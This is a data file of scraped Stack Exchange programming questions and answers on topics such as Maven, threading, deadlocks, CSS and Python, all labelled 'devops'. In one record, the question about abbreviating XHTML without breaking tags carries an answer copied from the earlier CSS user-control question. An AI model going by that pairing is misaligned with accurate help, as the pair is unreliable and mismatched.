{"id": "hf_f232f46f13ac", "question": "<p>I would like to know which dependency described in my pom.xml brings a transitive dependency in my target directory.</p>\n\n<p>To be more precise, I have the library \"poi-2.5.1-final-20040804.jar\" in my WEB-INF/lib directory and I would like to know which dependency in my pom.xml brings that.</p>\n", "question_body": "", "answer": "Using the\nMaven Dependency Plugin\n:\n```\n```\nmvn dependency:tree\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.635348"}
{"id": "hf_ca9fa53d3b2f", "question": "<p>Is the following safe?</p>\n\n<p>I am new to threading and I want to delegate a time consuming process to a separate thread in my C++ program.\nUsing the boost libraries I have written code something like this:</p>\n\n<p>thrd = new boost::thread(boost::bind(&amp;myclass::mymethod, this, &amp;finished_flag);</p>\n\n<p>Where finished_flag is a boolean member of my class. When the thread is finished it sets the value and the main loop of my program checks for a change in that value.\nI assume that this is okay because I only ever start one thread, and that thread is the only thing that changes the value (except for when it is initialised  before I start the thread)\nSo is this okay, or am I missing something, and need to use locks and mutexes, etc</p>\n", "question_body": "", "answer": "You never mentioned the type of finished_flag...\nIf it's a straight\nbool\n, then it might work, but it's certainly bad practice, for several reasons. First, some compilers will cache the reads of the\nfinished_flag\nvariable, since the compiler doesn't always pick up the fact that it's being written to by another thread. You can get around this by declaring the\nbool\nvolatile\n, but that's taking us in the wrong direction. Even if reads and writes are happening as you'd expect, there's nothing to stop the OS scheduler from interleaving the two threads half way through a read / write. That might not be such a problem here where you have one read and one write op in separate threads, but it's a good idea to start as you mean to carry on.\nIf, on the other hand it's a thread-safe type, like a\nCEvent in MFC\n(or\nequivilent in boost\n) then you should be fine. This is the best approach: use thread-safe synchronization objects for inter-thread communication, even for simple flags.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.659624"}
{"id": "hf_ce959bdcc2a9", "question": "<p>I have the following situation: I built an Access form with a subform (which records are linked to the records of main form via certain key). When I try to delete any record in the subform, I get the following message: “Access has suspended the action because you and another user tried to change the data” (approximate translation from German). Does anyone know how to delete those records from the subform (and, respectively, from the table behind the form).</p>\n", "question_body": "", "answer": "If you are currently 'editing' the current form then it will not allow the action. Editing a record can sometimes be triggered by simply clicking inside a field, or other simple actions you wouldn't normally consider 'editing'.\nThis is usually avoided in Access by using the RunCommand method to undo any edits before deleting the record:\n```\n```\nDoCmd.RunCommand acCmdUndo\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.695604"}
{"id": "hf_7fb7faa2b563", "question": "<p>I want to get an overview of files that are updated in TFS (that someone else checked in) that I don't have the latest version for.</p>\n", "question_body": "", "answer": "if they checked them in as part of a single changeset then you can find them that way.\n(right click file in solution explorer, view history, double-click on the relevant changeset and you'll see all the related files for that checkin)\nIs your question about finding this info via the TFS API via the website, or via the visual studio interface?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.827697"}
{"id": "hf_ff7f95920d34", "question": "<p>I've been asked to create a Delphi compatible dll in C++ to do simple 64bit memory management.</p>\n\n<p>The background is that the system in Delphi needs to allocate a lots of chunks of memory that would go well outside 32bit addressable space. The Delphi developer explained to me that he could not allocate memory with the Delphi commands available to him. He says that he can hold a 64bit address, so he just wants to call a function I provide to allocate the memory and return a 64bit pointer to him. Then another function to free up the memory later.</p>\n\n<p>Now, I only have VS 2008 at my disposal so firstly I'm not even sure I can create a Delphi compatible dll in the first place.</p>\n\n<p>Any Delphi experts care to help me out. Maybe there is a way to achieve what he requires without re-inventing the wheel. Other developers must have come across this before in Delphi.</p>\n\n<p>All comments appreciated.</p>\n", "question_body": "", "answer": "Only 64 bit processes can address 64 bit memory. A 64 bit process can only load 64 bit dlls and 32 bits processes can only load 32 bits dlls. Delphi's compiler can only make 32 bits binaries.\nSo a 32 bits Delphi exe can not load your 64 bit c++ dll. It could load a 32 bit c++ dll, but then that dll wouldn't be able to address the 64 bit memory space. You are kind of stuck with this solution.\nDelphi could, with the right compiler options and Windows switches address 3GB of memory without problems. Even more memory could be accessed by a 32 bits process if it uses\nPhysical Address Extension\n. It then needs to swap memory pages in and out of the 32 bits memory through the use of\nAddress Windowing Extensions\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.875725"}
{"id": "hf_efb179a743a4", "question": "<p>I was wondering if anyone that has experience in both this stuff can shed some light on the <em>significant</em> difference between the two if any?</p>\n\n<p>Any specific strength of each that makes it suitable for any specific case?</p>\n", "question_body": "", "answer": "I found SimpleTest was even easier than PHPUnit to set up. Just extract it and you are good to go. A benefit of this is if you are working at more than one machine, since you can store the whole testing framework the same way as your source code, and thereby know that you are using the same framework code. Especially if you modify it in any way.\nSo, I would say that a strength of SimpleTest is that it is very light weight and portable.\nSimpleTest also ships with a very simple HTML GUI, which is quite easy to extend if you want to. As far as I know, PHPUnit does not include a HTML GUI, but there are GUI:s available to download, such as\nCool\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.935864"}
{"id": "hf_1c465406e5c3", "question": "<p>I want to implement search functionality for a website (assume it is similar to SO). I don't want to use Google search of stuff like that.</p>\n\n<p>My question is:</p>\n\n<p>How do I implement this?</p>\n\n<p>There are two methods I am aware of:</p>\n\n<ol>\n<li>Search all the databases in the application when the user gives his query.</li>\n<li>Index all the data I have and store it somewhere else and query from there (like what Google does).</li>\n</ol>\n\n<p>Can anyone tell me which way to go? What are the pros and cons?</p>\n\n<p>Better, are there any better ways to do this?</p>\n", "question_body": "", "answer": "Use lucene,\nhttp://lucene.apache.org/java/docs/\nApache Lucene is a high-performance, full-featured text search engine library written entirely in Java. It is a technology suitable for nearly any application that requires full-text search, especially cross-platform.\nIt is available in java and .net. It is also in available in php in the form of a zend framework module.\nLucene does what you wanted(indexing of the searched items), you have to keep track of a lucene index but it is much better than doing a database search in terms of performance. BTW, SO search is powered by lucene. :D", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:17.960019"}
{"id": "hf_c38f40b81596", "question": "<p>I have a multi dimensional OLAP cube with a number of dimensions. Some of these dimensions have hierarchies. The users would like to perform 'what-if' analysis on the measures in the cube by changing the hierarchies in the dimensions. </p>\n\n<p>For example, they want to know the impact on departmental resource budgets by moving employees between departments or the movement in cost of manufacture if a product is moved from one factory to another.</p>\n\n<p>Does anyone have a straight forward way to do this in a modern OLAP engine?</p>\n", "question_body": "", "answer": "There may be tools that allow this sort of analysis, but I only have experience of writing MDX, which ought to be able to help you.\nTypical 'what if' analysis is more about changing values in the OLAP cube (e.g. change net sales from 845.45 to 700.00 and see what happens to gross profit). Your case is a bit different as you want to move members within a hierarhy, but keep the same values.\nI haven't worked through a full solution, but the way I would approach it would be to create a new 'calculated member' or set (on the fly) and use that to build up the new hierarchy that you want. Your query can then use that on one axis.\nLook carefully into 'visual totals' as there may be potential pitfalls there!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.020898"}
{"id": "hf_5d102ef65a5e", "question": "<p>Here's a wierd one. I'm reusing a code base that unfortunately must not be updated. This code makes a call to <code>HttpContext.Current.Request.QueryString</code>. Ideally, I need to push a value into this collection with every request that is made. Is this possible - perhaps in an HTTP Module?</p>\n", "question_body": "", "answer": "Without using reflection, the simplest way to do it would be to use the RewritePath function on the current HttpContext object in order to modify the querystring.\nUsing an\nIHttpModule\n, it might look something like:\n```\n```\ncontext.RewritePath(context.Request.Path, context.Request.PathInfo, newQueryStringHere!);\n```\n```\nHope this helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.044803"}
{"id": "hf_146f70c25206", "question": "<p>Since there are no header sections for user controls in asp.net, user controls have no way of knowing about stylesheet files. So css classes in the user controls are not recognized by visual studio and produces warnings. How can I make a user control know that it will relate to a css class, so if it is warning me about a non-existing css class, it means that the class really do not exist?</p>\n\n<p>Edit: Or should I go for a different design like exposing css classes as properties like \"HeaderStyle-CssClass\" of GridView?</p>\n", "question_body": "", "answer": "If you are creating composite UserControl, then you can set the\nCSSClass\nproperty on the child controls..\nIf not, then you need to expose properties that are either of the\nStyle\ntype, or (as I often do) string properties that apply CSS at the render type (i.e. take them properties and add a\nstyle\nattribute to the HTML tags when rendering).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.068841"}
{"id": "hf_1ae4224816b9", "question": "<p>How would you programmacially abbreviate <code>XHTML</code> to an arbitrary number of words without leaving unclosed or corrupted tags?</p>\n\n<p>i.e.</p>\n\n<pre><code>&lt;p&gt;\n    Proin tristique dapibus neque. Nam eget purus sit amet leo\n    tincidunt accumsan.\n&lt;/p&gt;\n&lt;p&gt;\n    Proin semper, orci at mattis blandit, augue justo blandit nulla.\n    &lt;span&gt;Quisque ante congue justo&lt;/span&gt;, ultrices aliquet, mattis eget,\n    hendrerit, &lt;em&gt;justo&lt;/em&gt;.\n&lt;/p&gt;\n</code></pre>\n\n<p>Abbreviated to 25 words would be:</p>\n\n<pre><code>&lt;p&gt;\n    Proin tristique dapibus neque. Nam eget purus sit amet leo\n    tincidunt accumsan.\n&lt;/p&gt;\n&lt;p&gt;\n    Proin semper, orci at mattis blandit, augue justo blandit nulla.\n    &lt;span&gt;Quisque ante congue...&lt;/span&gt;\n&lt;/p&gt;\n</code></pre>\n", "question_body": "", "answer": "If you are creating composite UserControl, then you can set the\nCSSClass\nproperty on the child controls..\nIf not, then you need to expose properties that are either of the\nStyle\ntype, or (as I often do) string properties that apply CSS at the render type (i.e. take them properties and add a\nstyle\nattribute to the HTML tags when rendering).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.092743"}
{"id": "hf_2bf3e8326ae4", "question": "<p>I would like to put a string into a byte array, but the string may be too big to fit.  In the case where it's too large, I would like to put as much of the string as possible into the array.  Is there an efficient way to find out how many characters will fit?</p>\n", "question_body": "", "answer": "In order to truncate a string to a UTF8 byte array without splitting in the middle of a character I use this:\n```\n```\nstatic string Truncate(string s, int maxLength) {\n    if (Encoding.UTF8.GetByteCount(s) <= maxLength)\n        return s;\n    var cs = s.ToCharArray();\n    int length = 0;\n    int i = 0;\n    while (i < cs.Length){\n        int charSize = 1;\n        if (i < (cs.Length - 1) && char.IsSurrogate(cs[i]))\n            charSize = 2;\n        int byteSize = Encoding.UTF8.GetByteCount(cs, i, charSize);\n        if ((byteSize + length) <= maxLength){\n            i = i + charSize;\n            length += byteSize;\n        }\n        else\n            break;\n    }\n    return s.Substring(0, i);\n}\n```\n```\nThe returned string can then be safely transferred to a byte array of length maxLength.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.116891"}
{"id": "hf_8aff0b78c959", "question": "<p>I have an html file with an unordered list.  I want to show the list items horizontally but still keep the bullets.  No matter what I try, whenever I set the style to inline to meet the horizontal requirement I can't get the bullets to display.</p>\n", "question_body": "", "answer": "Did you try\n```\nfloat: left\n```\non your\n```\n<li/>\n```\n? Something like this:\n```\n```\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"\n                      \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<html>\n<head>\n    <style type=\"text/css\">\n        ul li {\n            float: left;\n            margin-left: 2em;\n        }\n    </style>\n</head>\n<body>\n    <ul>\n        <li>test</li>\n        <li>test2</li>\n    </ul>\n</body>\n</html>\n```\n```\nI only tested Firefox 3.0.1, works there. The\n```\nmargin\n```\nis set because else your bullet overlaps the previous item.\naddition:\nBe wary that when you float the items you remove them from the normal flow, which in turn causes the\n```\n<ul/>\n```\nto have no height. If you want to add a border or something, you'll get weird results.\nOne way to fix that is to add the following to your styles:\n```\n```\nul {\n    overflow: auto;\n    background: #f0f;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.152409"}
{"id": "hf_0ae1bf96a451", "question": "<p>I always tend to forget these built-in <strong>Symfony</strong> functions for making links.</p>\n", "question_body": "", "answer": "This advice is for symfony 1.0. It probably will work for later versions.\nWithin your sfAction class\n:\nstring  genUrl($parameters = array(), $absolute = false)\neg. \n$this->getController()->genUrl('yourmodule/youraction?key=value&key2=value', true);\nIn a template\n:\nThis will generate a normal link.\nstring link_to($name, $internal_uri, $options = array());\neg. \nlink_to('My link name', 'yourmodule/youraction?key=value&key2=value');", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.188679"}
{"id": "hf_d1269187fe41", "question": "<p>Is there a simple way to format numbers in a Winforms 1.1 datagrid?  The Format property of the DataGridTextBoxColumn seems to be completely ignored.  I know there is a <a href=\"http://support.microsoft.com/kb/318581\" rel=\"nofollow noreferrer\">solution</a> that involves subclassing a Column control, and it's fairly simple, but was hoping there might be some trick to making the Format property just work.</p>\n", "question_body": "", "answer": "My personal opinion is that a datagridcolumnstyle is the way to go.  Without seeing the code that you have, I can't say for certain why your formatting isn't taking hold when no style is defined - but mixing in formatting with data calculations and other parts of the code can get very messy very quickly.\nCreating a new column style class is very clean, and if you have to use the same formatting again in another datagrid, it's as easy as pie to reuse it.\nHere's the\nMicrosoft Documentation\nthat may get you started in the right direction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.224706"}
{"id": "hf_8a6b513925fa", "question": "<p>Given a Python object of any kind, is there an easy way to get the list of all methods that this object has?</p>\n\n<p>Or,</p>\n\n<p>if this is not possible, is there at least an easy way to check if it has a particular method other than simply checking if an error occurs when the method is called?</p>\n", "question_body": "", "answer": "For many objects\n, you can use this code, replacing 'object' with the object you're interested in:\n```\n```\nobject_methods = [method_name for method_name in dir(object)\n                  if callable(getattr(object, method_name))]\n```\n```\nI discovered it at\ndiveintopython.net\n(now archived), that should provide some further details!\nIf you get an\n```\nAttributeError\n```\n, you can use this instead\n:\n```\ngetattr()\n```\nis intolerant of pandas style Python 3.6 abstract virtual sub-classes.  This code does the same as above and ignores exceptions.\n```\n```\nimport pandas as pd\ndf = pd.DataFrame([[10, 20, 30], [100, 200, 300]],\n                  columns=['foo', 'bar', 'baz'])\ndef get_methods(object, spacing=20):\n  methodList = []\n  for method_name in dir(object):\n    try:\n        if callable(getattr(object, method_name)):\n            methodList.append(str(method_name))\n    except Exception:\n        methodList.append(str(method_name))\n  processFunc = (lambda s: ' '.join(s.split())) or (lambda s: s)\n  for method in methodList:\n    try:\n        print(str(method.ljust(spacing)) + ' ' +\n              processFunc(str(getattr(object, method).__doc__)[0:90]))\n    except Exception:\n        print(method.ljust(spacing) + ' ' + ' getattr() failed')\n\nget_methods(df['foo'])\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.248639"}
{"id": "hf_73aac8125df6", "question": "<p><a href=\"http://en.wikipedia.org/wiki/SHA-1\" rel=\"noreferrer\">SHA Hash functions</a></p>\n", "question_body": "", "answer": "```\n```\nrequire 'digest/sha1'\nDigest::SHA1.hexdigest 'foo'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.320460"}
{"id": "hf_5c4f82d8a9c1", "question": "<p>When writing multithreaded applications, one of the most common problems experienced is race conditions.</p>\n<p>My questions to the community are:</p>\n<ul>\n<li>What is the race condition?</li>\n<li>How do you detect them?</li>\n<li>How do you handle them?</li>\n<li>Finally, how do you prevent them from occurring?</li>\n</ul>\n", "question_body": "", "answer": "A race condition is a kind of bug, that happens only with certain temporal conditions.\nExample:\nImagine you have two threads, A and B.\nIn Thread A:\n```\n```\nif( object.a != 0 )\n    object.avg = total / object.a\n```\n```\nIn Thread B:\n```\n```\nobject.a = 0\n```\n```\nIf thread A is preempted just after having check that object.a is not null, B will do\n```\na = 0\n```\n, and when thread A will gain the processor, it will do a \"divide by zero\".\nThis bug only happen when thread A is preempted just after the if statement, it's very rare, but it can happen.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.393113"}
{"id": "hf_d6bac2a3e052", "question": "<p>When writing multi-threaded applications, one of the most common problems experienced are deadlocks.  </p>\n\n<p>My questions to the community are:</p>\n\n<ol>\n<li><p>What is a deadlock? </p></li>\n<li><p>How do you detect them? </p></li>\n<li><p>Do you handle them?  </p></li>\n<li><p>And finally, how do you prevent them from occurring?</p></li>\n</ol>\n", "question_body": "", "answer": "A\nlock\noccurs when multiple processes try to access the same resource at the same time.\nOne process loses out and must wait for the other to finish.\nA\ndeadlock\noccurs when the waiting process is still holding on to another resource that the first needs before it can finish.\nSo, an example:\nResource A and resource B are used by process X and process Y\nX starts to use A.\nX and Y try to start using B\nY 'wins' and gets B first\nnow Y needs to use A\nA is locked by X, which is waiting for Y\nThe best way to avoid deadlocks is to avoid having processes cross over in this way. Reduce the need to lock anything as much as you can.\nIn databases avoid making lots of changes to different tables in a single transaction, avoid triggers and switch to optimistic/dirty/nolock reads as much as possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.417666"}
{"id": "hf_4d0c082e72cc", "question": "<p>Is there a standard convention (like phpdoc or python's docstring) for commenting C# code so that class documentation can be automatically generated from the source code?</p>\n", "question_body": "", "answer": "```\n```\n/// <summary>\n///\n/// </summary>\n/// <param name=\"strFilePath\"></param>\n```\n```\nhttp://msdn.microsoft.com/en-us/magazine/cc302121.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.442172"}
{"id": "hf_c82dd3bd803d", "question": "<p>How do you sort an array of strings <a href=\"http://blog.codinghorror.com/sorting-for-humans-natural-sort-order/\" rel=\"nofollow noreferrer\">naturally</a> in different programming languages? Post your implementation and what language it is in in the answer.</p>\n", "question_body": "", "answer": "JavaScript\n```\n```\nArray.prototype.alphanumSort = function(caseInsensitive) {\n  for (var z = 0, t; t = this[z]; z++) {\n    this[z] = [], x = 0, y = -1, n = 0, i, j;\n\n    while (i = (j = t.charAt(x++)).charCodeAt(0)) {\n      var m = (i == 46 || (i >=48 && i <= 57));\n      if (m !== n) {\n        this[z][++y] = \"\";\n        n = m;\n      }\n      this[z][y] += j;\n    }\n  }\n\n  this.sort(function(a, b) {\n    for (var x = 0, aa, bb; (aa = a[x]) && (bb = b[x]); x++) {\n      if (caseInsensitive) {\n        aa = aa.toLowerCase();\n        bb = bb.toLowerCase();\n      }\n      if (aa !== bb) {\n        var c = Number(aa), d = Number(bb);\n        if (c == aa && d == bb) {\n          return c - d;\n        } else return (aa > bb) ? 1 : -1;\n      }\n    }\n    return a.length - b.length;\n  });\n\n  for (var z = 0; z < this.length; z++)\n    this[z] = this[z].join(\"\");\n}\n```\n```\nSource", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.470711"}
{"id": "hf_81e485d630d4", "question": "<p>A mutex is a programming concept that is frequently used to solve multi-threading problems.  My question to the community: </p>\n\n<p>What is a mutex and how do you use it?</p>\n", "question_body": "", "answer": "When you have a multi-threaded application, the different threads sometimes share a common resource, such as a variable or similar. This shared source often cannot be accessed at the same time, so a construct is needed to ensure that only one thread is using that resource at a time.\nThe concept is called \"mutual exclusion\" (short Mutex), and is a way to ensure that only one thread is allowed inside that area, using that resource etc.\nHow to use them is language specific, but is often (if not always) based on a operating system mutex.\nSome languages doesn't need this construct, due to the paradigm, for example functional programming (Haskell, ML are good examples).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.508246"}
{"id": "hf_44a2fa099ee0", "question": "<p>Additionally, how can I format it as a string padded with zeros?</p>\n", "question_body": "", "answer": "To generate the number call rand with the result of the expression \"10 to the power of 10\"\n```\n```\nrand(10 ** 10)\n```\n```\nTo pad the number with zeros you can use the string format operator\n```\n```\n'%010d' % rand(10 ** 10)\n```\n```\nor the\n```\nrjust\n```\nmethod of string\n```\n```\nrand(10 ** 10).to_s.rjust(10,'0')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.563254"}
{"id": "hf_3e03ee9c78d2", "question": "<p>I've recently been working with a MySQL database, and using MySQL workbench to design the Database.</p>\n\n<p>When I use the export to SQL function, so I can actually get the layout in to the Database, I get:</p>\n\n<blockquote>\n  <p>\"Error 1005: Cannot create table\"</p>\n</blockquote>\n\n<p>This appears to be related to Foreign Keys in the create table statement.</p>\n\n<p>Does anybody have a work around for this that doesn't involve taking the constraints out and putting them back in later?  That's a less than ideal solution given the size of the database.</p>\n", "question_body": "", "answer": "I ran into this situation recently when I attempted (in InnoDB tables) to make a foreign key reference to a column that had a different data type.\nMySQL 5.1 Documentation", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.604172"}
{"id": "hf_5df325f397df", "question": "<p>I would like to have an <code>iframe</code> take as much vertical space as it needs to display its content and not display a scrollbar. Is it at all possible ?</p>\n\n<p>Are there any workarounds?</p>\n", "question_body": "", "answer": "This CSS snippet should remove the vertical scrollbar:\n```\n```\nbody {\n  overflow-x: hidden;\n  overflow-y: hidden;\n}\n```\n```\nI'm not sure yet about having it take up as much vertical space as it needs, but I'll see if I can't figure it out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.712388"}
{"id": "hf_8b06c1d8741d", "question": "<p>We have an application with a good amount of jQuery JSON calls to server side code. Because of this, we have a large amount of binding code to parse responses and bind the appropriate values to the form. This is a two part question.</p>\n\n<ol>\n<li><p>What is the reccomended approach for dealing with a large number of forms that all have different data. Right now were are trying to take a structured approach in setting up a js \"class\" for each page, with an init, wireClickEvents etc.. to try to have everything conformed.</p></li>\n<li><p>Is there any \"best practices\" with creating repetitive jQuery code or any type of reccomended structure other than just throwing a bunch of functions in a js file?</p></li>\n</ol>\n", "question_body": "", "answer": "Not 100% sure example what you are asking, but personally, and I use MochiKit, I create JavaScript \"classes\" (or widgets, if you prefer) for every significant client-side UI structure. These know, of course, how to populate themselves with data.\nI don't know what more there is to say - writing UI code for the browser in JavaScript is no different than writing UI code for other types of apps, as far as I am concerned. Build classes and instantiate them as needed, populate them with data, have them throw events, etc. etc.\nAm I up in the night on this? :)\nEDIT: In other words, yes - do what you are doing, for the most part. I see too many novice JavaScript hackers write a bunch of poorly-cohesive functions that don't appear to be a part of anything specific other than they are all in a single file. Hope that makes sense.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.811266"}
{"id": "hf_1961c32ffaf3", "question": "<p>Is it possible to embed an audio object (mp3, wma, whatever) in a web-enabled InfoPath form ?  </p>\n\n<p>If it is, how do you do it ?</p>\n", "question_body": "", "answer": "Edit:  My apologies, I missed that the question was about Web forms - for which the below does not work.  Must learn to read the question fully!\nGo to menu View\nClick on Design Tasks\nSelect Controls in the 'Design Tasks' Task pane\nClick on the 'add or remove custom controls' button to install your custom\ncontrol\nClick on the Add button and select ActiveX Control\nSelect the Windows Media Player control\nSelect the necessary properties for databinding and finish the wizard.\nAfter you have added the control, you can drag and drop the control on your screen.\nRight-Click on the control and select the 'Windows Media Player properties'\nFill in the URL to automatically embed the file to play.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.872889"}
{"id": "hf_32af959f20ca", "question": "<p>I am deploying new versions of java servlets with JRun as the host. I am having difficulty finding good sources for information about JRun and tutorials about how to configure and manage it.</p>\n\n<p>After installing JRun and opening the launcher it can't start the admin server that it creates by default...so obviously I'm running into some issues just getting started.</p>\n\n<p><strong>edit for clarity:</strong> I'm not looking for an answer or help with a specific error but if anyone knows of good sources for information about JRun and how to work with it so I can quickly bring myself up to speed on it.</p>\n", "question_body": "", "answer": "This is probably going to be difficult to resolve unless you post either the error message from the log file or the list of steps that you took so far.\nI have JRun 3.1 configured on my machine so maybe I can duplicate your issue if you give us more information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.909380"}
{"id": "hf_3324a8b32df6", "question": "<p>How do I list the symbols being exported from a .so file?  If possible, I'd also like to know their source (e.g. if they are pulled in from a static library).</p>\n\n<p>I'm using gcc 4.0.2, if that makes a difference.</p>\n", "question_body": "", "answer": "You can use the\n```\nnm -g\n```\ntool from the binutils toolchain. However, their source is not always readily available. and I'm not actually even sure that this information can always be retrieved. Perhaps\n```\nobjcopy\n```\nreveals further information.\n/EDIT: The tool's name is of course\n```\nnm\n```\n. The flag\n```\n-g\n```\nis used to show only exported symbols.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:18.945359"}
